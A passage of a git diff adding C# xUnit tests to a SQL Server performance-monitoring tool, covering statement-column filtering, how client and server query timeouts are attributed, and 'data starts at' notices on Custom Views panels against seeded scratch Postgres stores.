+
+    private static IEnumerable<(string Where, string Column)> CatalogColumns()
+    {
+        foreach (var m in MeasureCatalog.Measures)
+        {
+            foreach (var column in new[] { m.Column, m.DeltaColumn, m.WeightedValueColumn, m.WeightColumn })
+            {
+                if (!string.IsNullOrEmpty(column))
+                {
+                    yield return ("measure " + m.Key, column);
+                }
+            }
+        }
+
+        foreach (var d in MeasureCatalog.Dimensions)
+        {
+            yield return ("dimension " + d.SourceTable + "." + d.Name, d.Column);
+            if (!string.IsNullOrEmpty(d.FallbackColumn))
+            {
+                yield return ("dimension " + d.SourceTable + "." + d.Name + " fallback", d.FallbackColumn);
+            }
+        }
+
+        foreach (var a in MeasureCatalog.AnnotationSources)
+        {
+            yield return ("annotation " + a.Key + " label", a.LabelColumn);
+            yield return ("annotation " + a.Key + " time", a.TimeColumn);
+        }
+    }
+
+    [Fact]
+    public void NoMeasureDimensionOrAnnotationColumnIsAStatementTextOrXmlColumn()
+    {
+        var columns = CatalogColumns().ToList();
+        Assert.True(columns.Count > 100, "the census read only " + columns.Count + " catalog columns; the walk is broken");
+
+        var hits = columns.Where(c => StatementColumn.IsMatch(c.Column)).Select(c => c.Where + " -> " + c.Column).ToList();
+        Assert.True(hits.Count == 0,
+            "A Custom View column is a statement or XML column, so its answer needs the statement filter: " + string.Join("; ", hits));
+    }
+
+    [Theory]
+    [InlineData("query_text")]
+    [InlineData("statement_text")]
+    [InlineData("batch_text")]
+    [InlineData("text_data")]
+    [InlineData("inputbuf")]
+    [InlineData("event_xml")]
+    [InlineData("query_plan_xml")]
+    [InlineData("query_plan")]
+    [InlineData("blocked_process_xml")]
+    [InlineData("deadlock_graph_xml")]
+    [InlineData("last_sql_text")]
+    public void ThePatternRecognizesTheColumnsItGuards(string column)
+    {
+        Assert.Matches(StatementColumn, column);
+    }
+
+    [Theory]
+    [InlineData("object_name")]
+    [InlineData("query_hash")]
+    [InlineData("database_name")]
+    [InlineData("wait_type")]
+    [InlineData("event_name")]
+    [InlineData("contentious_object")]
+    public void ThePatternLeavesAnOrdinaryLabelColumnAlone(string column)
+    {
+        Assert.DoesNotMatch(StatementColumn, column);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeClientTimeoutAttributionTests.cs b/Darling/Darling.Tests/ComposeClientTimeoutAttributionTests.cs
new file mode 100644
index 0000000000..253c2c3aea
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeClientTimeoutAttributionTests.cs
@@ -0,0 +1,247 @@
+// Copyright (c) 2026 Erik Darling, Darling Data LLC
+//
+// This file is part of the SQL Server Performance Monitor.
+//
+// Licensed under the MIT License. See LICENSE file in the project root for full license information.
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4605: on the web compose path the client <c>CommandTimeout</c> used to equal the role's server-side
+/// <c>statement_timeout</c> (both 60 s), so the two raced. When Npgsql's client timer won, the run threw an
+/// <see cref="NpgsqlException"/> wrapping a <see cref="TimeoutException"/> that landed in the generic arm
+/// and recorded Error. The client deadline now sits above the server's, and that exception shape is
+/// classified as a timeout with the same text 57014 gives, but only when it fired while the statement executed;
+/// a failure to open the store connection has the same exception shape and is answered as the server error it is.
+/// </summary>
+public class ComposeClientTimeoutAttributionTests
+{
+    [Fact]
+    public void WebComposeClientDeadline_IsStrictlyAboveTheServerStatementTimeout()
+    {
+        const int server = 60;
+        var client = DarlingWebEndpoints.ComposeClientDeadlineSeconds(server, DarlingWebEndpoints.ComposeClientDeadlineHeadroomSeconds);
+
+        Assert.True(client > server, $"web compose client deadline {client}s must exceed the server statement_timeout {server}s so 57014 wins the race");
+        Assert.True(DarlingWebEndpoints.ComposeClientDeadlineHeadroomSeconds > 0);
+    }
+
+    [Fact]
+    public void McpComposeCaller_KeepsItsDeadline_NoHeadroom()
+    {
+        Assert.Equal(60, DarlingWebEndpoints.ComposeClientDeadlineSeconds(60, 0));
+    }
+
+    private static NpgsqlException StatementPhaseTimeout() =>
+        new("Exception while reading from stream", new TimeoutException("Timeout during reading attempt"));
+
+    [Fact]
+    public void StatementPhaseClientTimeout_OnTheWebPath_MapsToTimeoutWithTheActionableText()
+    {
+        var ex = new DarlingWebEndpoints.ComposeStatementClientTimeoutException(StatementPhaseTimeout());
+
+        var outcome = DarlingWebEndpoints.FromRunException(ex, remapClientTimeout: true);
+
+        Assert.False(outcome.IsServerError);
+        Assert.Null(outcome.Fault);
+        Assert.Equal("57014", outcome.AuthorSqlState);
+        Assert.Equal(DarlingWebEndpoints.StatementTimeoutText, outcome.Error);
+        Assert.Equal(
+            DarlingWebEndpoints.FromPostgresException(new PostgresException("canceling statement due to statement timeout", "ERROR", "ERROR", "57014")).Error,
+            outcome.Error);
+    }
+
+    [Fact]
+    public void StatementPhaseClientTimeout_WithoutTheRemapFlag_KeepsTheGenericServerError()
+    {
+        var ex = new DarlingWebEndpoints.ComposeStatementClientTimeoutException(StatementPhaseTimeout());
+
+        foreach (var outcome in new[] { DarlingWebEndpoints.FromRunException(ex), DarlingWebEndpoints.FromRunException(ex, remapClientTimeout: false) })
+        {
+            Assert.True(outcome.IsServerError);
+            Assert.Null(outcome.AuthorSqlState);
+            Assert.StartsWith("Error running query:", outcome.Error, StringComparison.Ordinal);
+        }
+    }
+
+    public static TheoryData<string> OpenFailureShapes() => new()
+    {
+        { "The connection pool has been exhausted, either raise 'Max Pool Size' (currently 24) or 'Timeout' (currently 15) in the connection string." },
+        { "Failed to connect to 10.0.0.1:5432" },
+        { "The operation has timed out" },
+        { "Exception while reading from stream" },
+    };
+
+    [Theory]
+    [MemberData(nameof(OpenFailureShapes))]
+    public void OpenTimeout_IsAServerErrorNamingTheOpen_NotAStatementTimeout(string innerMessage)
+    {
+        var inner = new NpgsqlException(innerMessage, new TimeoutException());
+        var ex = new DarlingWebEndpoints.ComposeStoreOpenException(inner);
+
+        foreach (var flag in new[] { true, false })
+        {
+            var outcome = DarlingWebEndpoints.FromRunException(ex, remapClientTimeout: flag);
+
+            Assert.True(outcome.IsServerError);
+            Assert.Null(outcome.AuthorSqlState);
+            Assert.NotEqual("57014", outcome.AuthorSqlState);
+            Assert.StartsWith("Error running query: could not get a store connection in time: ", outcome.Error, StringComparison.Ordinal);
+            Assert.Contains(innerMessage, outcome.Error, StringComparison.Ordinal);
+            Assert.DoesNotContain(DarlingWebEndpoints.StatementTimeoutText, outcome.Error, StringComparison.Ordinal);
+        }
+
+    }
+
+    [Fact]
+    public void OpenFailure_WithoutATimeout_AnswersCouldNotOpen()
+    {
+        var ex = new DarlingWebEndpoints.ComposeStoreOpenException(new NpgsqlException("boom", new System.Net.Sockets.SocketException((int)System.Net.Sockets.SocketError.ConnectionRefused)));
+
+        foreach (var flag in new[] { true, false })
+        {
+            var outcome = DarlingWebEndpoints.FromRunException(ex, remapClientTimeout: flag);
+
+            Assert.True(outcome.IsServerError);
+            Assert.Null(outcome.AuthorSqlState);
+            Assert.Equal("Error running query: could not open a store connection: boom", outcome.Error);
+        }
+    }
+
+    [Fact]
+    public void OtherExceptions_StillMapToTheGenericServerError()
+    {
+        var plain = DarlingWebEndpoints.FromRunException(new InvalidOperationException("boom"), remapClientTimeout: true);
+        Assert.True(plain.IsServerError);
+        Assert.Equal("Error running query: boom", plain.Error);
+        Assert.Null(plain.AuthorSqlState);
+
+        var npgsqlOther = DarlingWebEndpoints.FromRunException(new NpgsqlException("connection refused", new System.IO.IOException("x")), remapClientTimeout: true);
+        Assert.True(npgsqlOther.IsServerError);
+    }
+
+    // ---- wiring pins: the call sites, read from source with comments and strings stripped ----
+
+    private static string Code(params string[] relative) =>
+        Regex.Replace(CSharpSourceWalker.StripCommentsAndStrings(RepoFile.ReadRepoFileLf(relative)), @"\s+", " ");
+
+    private static string WebCode() => Code("Darling", "PerformanceMonitor.Darling.Service", "DarlingWebEndpoints.cs");
+
+    private static string CallArguments(string code, string callStart)
+    {
+        var at = code.IndexOf(callStart, StringComparison.Ordinal);
+        Assert.True(at >= 0, $"call '{callStart}' not found");
+        var end = code.IndexOf(");", at, StringComparison.Ordinal);
+        Assert.True(end > at);
+        return code[at..end];
+    }
+
+    [Fact]
+    public void TheComposeRunRoute_PassesTheHeadroomAndTheRemapFlag()
+    {
+        var call = CallArguments(WebCode(), "await RunComposedPanelAsync(postgres, body, context.RequestAborted");
+
+        Assert.Equal("await RunComposedPanelAsync(postgres, body, context.RequestAborted, readLatencyRecorder, ComposeClientDeadlineHeadroomSeconds, remapClientTimeout: true, includeDataStartFields: true", call);
+    }
+
+    [Fact]
+    public void TheMcpCaller_PassesNoHeadroom_AndTheRemapFlag()
+    {
+        var call = CallArguments(
+            Code("Darling", "PerformanceMonitor.Darling.Service", "Mcp", "DarlingMcpCustomViewTools.cs"),
+            "DarlingWebEndpoints.RunComposedPanelAsync(");
+
+        Assert.Equal("DarlingWebEndpoints.RunComposedPanelAsync(postgres, body, CancellationToken.None, readLatency, remapClientTimeout: true", call);
+    }
+
+    [Fact]
+    public void TheRunner_PassesTheClientDeadlineToTheMeasureAndAnnotationQueries()
+    {
+        var code = WebCode();
+
+        Assert.Contains("var clientSeconds = ComposeClientDeadlineSeconds(composedQuerySeconds, clientDeadlineHeadroomSeconds);", code, StringComparison.Ordinal);
+        Assert.Contains("RunComposedQueryAsync(postgres, compiled!, clientSeconds,", code, StringComparison.Ordinal);
+        Assert.Contains("RunAnnotationsAsync(postgres, plan!, runContext, clientSeconds,", code, StringComparison.Ordinal);
+        Assert.Equal(2, Regex.Matches(code, Regex.Escape("command.CommandTimeout = clientDeadlineSeconds;")).Count);
+        Assert.DoesNotContain("command.CommandTimeout = composedQuerySeconds;", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("RunComposedQueryAsync(postgres, compiled!, composedQuerySeconds", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("RunAnnotationsAsync(postgres, plan!, runContext, composedQuerySeconds", code, StringComparison.Ordinal);
+    }
+
+    private static string MethodBody(string code, string signature)
+    {
+        var at = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(at >= 0, $"method '{signature}' not found");
+        var next = code.IndexOf("private static", at + signature.Length, StringComparison.Ordinal);
+        Assert.True(next > at);
+        return code[at..next];
+    }
+
+    [Theory]
+    [InlineData("private static async Task<JsonArray> RunComposedQueryAsync(")]
+    [InlineData("> ReadServerClocksAsync(")]
+    public void EachRunner_OpensTheConnectionBeforeTheStatementTry(string signature)
+    {
+        var body = MethodBody(WebCode(), signature);
+
+        var open = body.IndexOf("OpenComposeConnectionAsync(", StringComparison.Ordinal);
+        var statementTry = body.IndexOf("try {", StringComparison.Ordinal);
+        var execute = body.IndexOf("ExecuteReaderAsync(", StringComparison.Ordinal);
+
+        Assert.True(open >= 0, "the runner must open its connection through OpenComposeConnectionAsync");
+        Assert.True(statementTry > open, "the open must come before the statement try");
+        Assert.True(execute > statementTry, "ExecuteReaderAsync must sit inside the statement try, after the open");
+        Assert.DoesNotContain("CreateCommand(", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheMarkers_AreThrownFromTheOneOpenHelperAndTheTwoStatementCatches()
+    {
+        var code = WebCode();
+
+        Assert.Equal(2, Regex.Matches(code, Regex.Escape("throw new ComposeStatementClientTimeoutException(ex);")).Count);
+        /* #5016: two arms, both inside the one open helper: the driver's NpgsqlException, and the bare TimeoutException it
+           throws when a wait for a data source's first-time setup ends. A cancellation is in neither arm: it is the caller's. */
+        Assert.Equal(2, Regex.Matches(code, Regex.Escape("throw new ComposeStoreOpenException(ex);")).Count);
+        Assert.Equal(2, Regex.Matches(code, Regex.Escape("catch (NpgsqlException ex) when (ex.InnerException is TimeoutException)")).Count);
+        Assert.Contains("catch (NpgsqlException ex) when (ex is not PostgresException) { throw new ComposeStoreOpenException(ex); } catch (TimeoutException ex) { throw new ComposeStoreOpenException(ex); }", code, StringComparison.Ordinal);        /* Three open sites: the panel runner, the server-clocks runner and the hourly-edges snapshot. */
+        Assert.Equal(3, Regex.Matches(code, Regex.Escape("await OpenComposeConnectionAsync(postgres, cancellationToken);")).Count);
+    }
+
+    [Fact]
+    public void TheOpenSentence_AsksTheOneHelper_WhetherTheOpenTimedOut()
+    {
+        var code = WebCode();
+
+        Assert.Contains("PostgresOpenTimeout.IsTimedOutOpen(open.InnerException!)", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("InnerException!.InnerException is TimeoutException", code, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGenericCatch_RemapsThroughTheFlag()
+    {
+        Assert.Contains("return FromRunException(ex, remapClientTimeout);", WebCode(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheOpenHelper_ClocksTheOpen_AndFlagsALateFailure_AndTheSentenceReadsTheFlag()
+    {
+        var code = WebCode();
+        var helper = MethodBody(code, "private static async Task<NpgsqlConnection> OpenComposeConnectionAsync(");
+
+        Assert.Contains("Stopwatch.StartNew()", helper, StringComparison.Ordinal);
+        Assert.Contains("PostgresOpenTimeout.IsTimedOutByClock(open.Cause, started.Elapsed, timeout, cancellationToken.IsCancellationRequested)", helper, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(helper, Regex.Escape("{ FailedAfterTimeout = true }")));
+        Assert.Contains("|| open.FailedAfterTimeout", code, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ComposeDataFloorLiveTests.cs b/Darling/Darling.Tests/ComposeDataFloorLiveTests.cs
new file mode 100644
index 0000000000..57183c9503
--- /dev/null
+++ b/Darling/Darling.Tests/ComposeDataFloorLiveTests.cs
@@ -0,0 +1,701 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.IO;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A Custom Views panel whose data starts later than its window says so, and names the window it really covers.
+/// A 30-day panel over a table that holds 7 days used to draw 7 days with nothing above the chart. The start comes
+/// from the rows the store holds for the panel's servers, so a quiet stretch at the start of the window, or a server
+/// with an older row before it, does not raise the notice.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it, so a fleet-wide panel sees only
+   the rows these tests planted. */
+public sealed class ComposeDataFloorLiveTests
+{
+    private const int RecentServerId = -497101;
+    private const string RecentServerName = "data-floor-recent";
+    private const int QuietServerId = -497102;
+    private const string QuietServerName = "data-floor-quiet-start";
+
+    private const int IdleServerId = -497103;
+    private const string IdleServerName = "data-floor-idle-overnight";
+    private const int SparseServerId = -497104;
+    private const string SparseServerName = "data-floor-first-wait-late";
+    private const int NewServerId = -497105;
+    private const string NewServerName = "data-floor-added-two-days-ago";
+    private const int BaselineServerId = -497106;
+    private const string BaselineServerName = "data-floor-baseline-floored-old-server";
+    private const int OldServerId = -497107;
+    private const string OldServerName = "data-floor-first-collected-ninety-days-ago";
+
+    private const string WaitDurationPanel =
+        "{\"source\":\"waiting_tasks\",\"measure\":\"waiting_task_duration_ms\",\"aggregate\":\"max\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    private const string FileReadsPanel =
+        "{\"source\":\"file_io_stats\",\"measure\":\"file_reads\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\"}";
+
+    [Fact]
+    public async Task AThirtyDayPanel_OverSevenDaysOfRows_SaysWhereTheDataStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var outcome = await RunAsync(store.DataSource, RecentServerName, hours: 720, ct);
+
+        var notice = NoticeOf(outcome);
+        Assert.NotNull(notice);
+        Assert.StartsWith("partial window:", notice, StringComparison.Ordinal);
+        Assert.Contains(Minute(store.RecentFirstRow) + " UTC", notice, StringComparison.Ordinal);
+        Assert.DoesNotContain("—", notice, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AWindowTheRowsCover_GetsNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var outcome = await RunAsync(store.DataSource, RecentServerName, hours: 72, ct);
+
+        Assert.Null(NoticeOf(outcome));
+    }
+
+    /// <summary>
+    /// The quiet server held one row 8 days back, then nothing until 6 days back. A 7-day window's own oldest row
+    /// is 6 days back, a day after the window starts, but the store held this server's data before the window
+    /// began, so nothing is missing from the start of the window: no notice.
+    /// </summary>
+    [Fact]
+    public async Task AQuietStartInsideTheWindow_GetsNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var outcome = await RunAsync(store.DataSource, QuietServerName, hours: 168, ct);
+
+        Assert.Null(NoticeOf(outcome));
+    }
+
+    /// <summary>
+    /// A server monitored for months, idle overnight, whose older rows the purge dropped: the 7-day window's first
+    /// waiting task comes 5 hours after its start and no older row exists. The store covered the whole window, so
+    /// there is no notice.
+    /// </summary>
+    [Fact]
+    public async Task AnIdleStart_WithNoOlderRow_OnAServerMonitoredForMonths_GetsNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        Assert.Null(NoticeOf(await RunAsync(store.DataSource, IdleServerName, hours: 168, ct)));
+    }
+
+    /// <summary>
+    /// A server collected for 30 days whose first waiting task ever came 3 days ago: a 7-day window is covered,
+    /// so there is no notice.
+    /// </summary>
+    [Fact]
+    public async Task AFirstWaitThreeDaysAgo_OnAServerCollectedForThirtyDays_GetsNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        Assert.Null(NoticeOf(await RunAsync(store.DataSource, SparseServerName, hours: 168, ct)));
+    }
+
+    /// <summary>
+    /// A server added 2 days ago, whose first waiting task came a day later: a 7-day window starts before the
+    /// server's coverage, and the notice names where coverage starts (its first collection), not its first row.
+    /// </summary>
+    [Fact]
+    public async Task AServerAddedTwoDaysAgo_SaysSinceItsFirstCollection_NotItsFirstRow_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var notice = NoticeOf(await RunAsync(store.DataSource, NewServerName, hours: 168, ct));
+        Assert.NotNull(notice);
+        Assert.Contains("data starts at " + Minute(store.NewServerAdded) + " UTC", notice, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A fleet panel whose only older history belongs to servers that stopped 10 days ago: their old rows do not
+    /// cover a 7-day window, so the panel says where the server it draws starts (added 2 days ago).
+    /// </summary>
+    [Fact]
+    public async Task AFleetPanel_StoppedServersOldRows_DoNotHideALateStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateStoppedFleetAsync(ct);
+
+        var notice = NoticeOf(await RunAsync(store.DataSource, server: null, hours: 168, ct));
+        Assert.NotNull(notice);
+        Assert.Contains("data starts at " + Minute(store.NewServerAdded) + " UTC", notice, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// file_io_stats is one of the collectors whose purge is floored at the baseline window, so the schedule gives it
+    /// no retention edge, and a Custom Views panel over it has no tier notice to say where its data starts (that one
+    /// covers a rollup route on a TimescaleDB store). A server registered 100 days ago whose oldest row sits 10 days
+    /// back, the older rows long purged, still reads "data starts at" that row for a 30-day window: its coverage is
+    /// the oldest row the table holds for it, not its first collection, which would put the start 100 days back and
+    /// show no notice at all. A window those rows cover shows none.
+    /// </summary>
+    [Fact]
+    public async Task ABaselineFlooredTable_ForAServerOlderThanTheWindow_StillSaysWhereItsOldestRowIs_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateBaselineFlooredAsync(ct);
+
+        var notice = NoticeOf(await RunAsync(store.DataSource, FileReadsPanel, BaselineServerName, hours: 720, ct));
+        Assert.NotNull(notice);
+        Assert.Contains("data starts at " + Minute(store.BaselineFirstRow) + " UTC", notice, StringComparison.Ordinal);
+
+        Assert.Null(NoticeOf(await RunAsync(store.DataSource, FileReadsPanel, BaselineServerName, hours: 168, ct)));
+    }
+
+    /// <summary>A fleet-wide panel starts where its oldest server's data starts: the quiet server's row 8 days
+    /// back covers a 7-day window, though the recent server's rows start a week back.</summary>
+    [Fact]
+    public async Task AFleetPanel_StartsAtItsOldestServer_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        Assert.Null(NoticeOf(await RunAsync(store.DataSource, server: null, hours: 168, ct)));
+
+        var month = NoticeOf(await RunAsync(store.DataSource, server: null, hours: 720, ct));
+        Assert.NotNull(month);
+        Assert.Contains(Minute(store.QuietFirstRow) + " UTC", month, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The page shows it: the run's own answer, drawn by the shipped compose.js under Node
+    /// (web-compose-notice-harness.mjs), puts the notice above the chart. Node is skipped when it is not installed,
+    /// the way <see cref="AlertNotebookRenderBehaviourTests"/> does.
+    /// </summary>
+    [Fact]
+    public async Task TheRenderedPanel_ShowsWhereTheDataStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+
+        var mcpOutcome = await RunAsync(store.DataSource, RecentServerName, hours: 720, ct);
+        Assert.True(mcpOutcome.Error is null, $"compose run failed: {mcpOutcome.Error}");
+        Assert.NotNull(mcpOutcome.Payload!["notice"]);
+        Assert.Null(mcpOutcome.Payload["data_start_note"]);
+        Assert.Null(mcpOutcome.Payload["data_start_utc"]);
+        Assert.Null(mcpOutcome.Payload["window_start_utc"]);
+        Assert.Null(mcpOutcome.Payload["window_end_utc"]);
+
+        var outcome = await RunAsync(store.DataSource, RecentServerName, hours: 720, ct, includeDataStartFields: true);
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+
+        var scenario = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(WaitDurationPanel),
+            ["scope"] = new JsonObject { ["server"] = RecentServerName, ["hours"] = 720 },
+            ["answer"] = outcome.Payload!.DeepClone(),
+        };
+
+        /* #4966: the answer carries the instants the notice names, and the page writes the notice again in the browser's
+           zone, as it does every time it prints. A zone 5.5 hours from UTC with no daylight saving shows a UTC notice
+           from a local one: the sentence the page drew names no UTC. */
+        Assert.True(outcome.Payload!["data_start_utc"] is not null && outcome.Payload["window_start_utc"] is not null && outcome.Payload["window_end_utc"] is not null);
+        Assert.Contains("UTC", outcome.Payload["notice"]!.GetValue<string>(), StringComparison.Ordinal);
+
+        if (!TryRender(scenario, out var drawn, "Asia/Kolkata"))
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return;
+        }
+
+        Assert.Empty(drawn.GetProperty("errors").EnumerateArray());
+        var shown = Assert.Single(drawn.GetProperty("notices").EnumerateArray()).GetString();
+        Assert.StartsWith("partial window:", shown, StringComparison.Ordinal);
+        Assert.DoesNotContain("UTC", shown, StringComparison.Ordinal);
+        Assert.DoesNotContain(Minute(store.RecentFirstRow), shown, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The desktop viewer's form of the probe, for one server: Active Queries and Current Waits compare it with the
+    /// tab's range. Over a 30-day range the quiet server's start is its row 8 days back, not its first row inside a
+    /// 7-day range, and a server the registry does not know has no start.
+    /// </summary>
+    [Fact]
+    public async Task TheViewerProbe_ForOneServer_AnswersWhereItsCoverageStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateAsync(ct);
+        var waitingTasks = DataWindowFloor.Source.ForCollectorTable("waiting_tasks");
+        var end = DateTime.UtcNow.AddMinutes(1);
+
+        Assert.Equal(store.QuietFirstRow, await DataWindowFloor.GetForServerAsync(store.DataSource, waitingTasks, QuietServerId, end.AddDays(-30), end, 30, ct));
+        Assert.Equal(store.RecentFirstRow, await DataWindowFloor.GetForServerAsync(store.DataSource, waitingTasks, RecentServerId, end.AddDays(-30), end, 30, ct));
+        Assert.Null(await DataWindowFloor.GetForServerAsync(store.DataSource, waitingTasks, -497199, end.AddDays(-30), end, 30, ct));
+    }
+
+    /// <summary>
+    /// The purge keeps waiting_tasks for 7 days, but the run log keeps 60, so a server first collected 90 days ago
+    /// still counts in a window 45 to 40 days back (its logged runs are there) while its coverage starts at the
+    /// purge edge, a week back, after the window ended. A pinned cell sends exactly this window. The panel shows no
+    /// notice, rather than a start that comes after the window's own end.
+    /// </summary>
+    [Fact]
+    public async Task AWindowWhollyBeforeTheRetentionEdge_WithLoggedRuns_GetsNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateOldServerAsync(ct);
+
+        var outcome = await RunInWindowAsync(store.DataSource, OldServerName, store.SeededAt.AddDays(-45), store.SeededAt.AddDays(-40), ct);
+
+        Assert.Null(NoticeOf(outcome));
+    }
+
+    /// <summary>
+    /// The same server, a window 10 to 5 days back: its rows start 7 days back, inside the window, so the panel is
+    /// cut at the retention edge and says so, and the window it covers ends where the window does, not at now.
+    /// </summary>
+    [Fact]
+    public async Task AWindowStraddlingTheRetentionEdge_NamesTheEdge_AndCoversToTheWindowsEnd_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateOldServerAsync(ct);
+        var windowStart = store.SeededAt.AddDays(-10);
+        var windowEnd = store.SeededAt.AddDays(-5);
+
+        var notice = NoticeOf(await RunInWindowAsync(store.DataSource, OldServerName, windowStart, windowEnd, ct));
+
+        Assert.NotNull(notice);
+        Assert.Contains("data starts at " + Minute(store.OldServerFirstRow) + " UTC", notice, StringComparison.Ordinal);
+        Assert.Contains("after the window's start at " + Minute(windowStart) + " UTC", notice, StringComparison.Ordinal);
+        Assert.Contains("covers " + Minute(store.OldServerFirstRow) + " to " + Minute(windowEnd) + " UTC", notice, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The desktop viewer's probe for one server, and the fleet form the panels use, over the window wholly before
+    /// the retention edge: there is no coverage to report, so the Queries tab shows no "Showing since" banner that
+    /// names a time after its own range. A window that straddles the edge still answers it.
+    /// </summary>
+    [Fact]
+    public async Task TheProbes_AnswerNothing_ForAWindowWhollyBeforeTheRetentionEdge_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await SeededStore.CreateOldServerAsync(ct);
+        var waitingTasks = DataWindowFloor.Source.ForCollectorTable("waiting_tasks");
+        var windowStart = store.SeededAt.AddDays(-45);
+        var windowEnd = store.SeededAt.AddDays(-40);
+
+        Assert.Null(await DataWindowFloor.GetForServerAsync(store.DataSource, waitingTasks, OldServerId, windowStart, windowEnd, 30, ct));
+        Assert.Null(await DataWindowFloor.GetAsync(store.DataSource, [waitingTasks], null, windowStart, windowEnd, 30, ct));
+
+        Assert.Equal(
+            store.OldServerFirstRow,
+            await DataWindowFloor.GetForServerAsync(store.DataSource, waitingTasks, OldServerId, store.SeededAt.AddDays(-10), store.SeededAt.AddDays(-5), 30, ct));
+    }
+
+    private static string Minute(DateTime utc) => utc.ToString("yyyy-MM-dd HH:mm", CultureInfo.InvariantCulture);
+
+    private static string? NoticeOf(DarlingWebEndpoints.ComposeRunOutcome outcome)
+    {
+        Assert.True(outcome.Error is null, $"compose run failed: {outcome.Error}");
+        return outcome.Payload!["notice"]?.GetValue<string>();
+    }
+
+    private static Task<DarlingWebEndpoints.ComposeRunOutcome> RunAsync(
+        NpgsqlDataSource dataSource, string? server, int hours, CancellationToken ct, bool includeDataStartFields = false) =>
+        RunAsync(dataSource, WaitDurationPanel, server, hours, ct, includeDataStartFields);
+
+    private static Task<DarlingWebEndpoints.ComposeRunOutcome> RunAsync(
+        NpgsqlDataSource dataSource, string panel, string? server, int hours, CancellationToken ct, bool includeDataStartFields = false)
+    {
+        var body = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(panel),
+            ["hours"] = hours,
+        };
+        if (server is not null)
+        {
+            body["server"] = server;
+        }
+
+        return DarlingWebEndpoints.RunComposedPanelAsync(dataSource, body, ct, includeDataStartFields: includeDataStartFields);
+    }
+
+    /* A pinned Custom Views cell's run: the absolute window pair, as ISO-8601 UTC text, in place of the relative hours. */
+    private static Task<DarlingWebEndpoints.ComposeRunOutcome> RunInWindowAsync(
+        NpgsqlDataSource dataSource, string server, DateTime windowStartUtc, DateTime windowEndUtc, CancellationToken ct)
+    {
+        var body = new JsonObject
+        {
+            ["panel"] = JsonNode.Parse(WaitDurationPanel),
+            ["server"] = server,
+            ["windowStart"] = windowStartUtc.ToString("o", CultureInfo.InvariantCulture),
+            ["windowEnd"] = windowEndUtc.ToString("o", CultureInfo.InvariantCulture),
+        };
+
+        return DarlingWebEndpoints.RunComposedPanelAsync(dataSource, body, ct);
+    }
+
+    internal static bool TryRender(JsonObject scenario, out JsonElement result, string? zone = null)
+    {
+        result = default;
+        var scenarioPath = Path.Combine(Path.GetTempPath(), "compose-notice-" + Guid.NewGuid().ToString("N") + ".json");
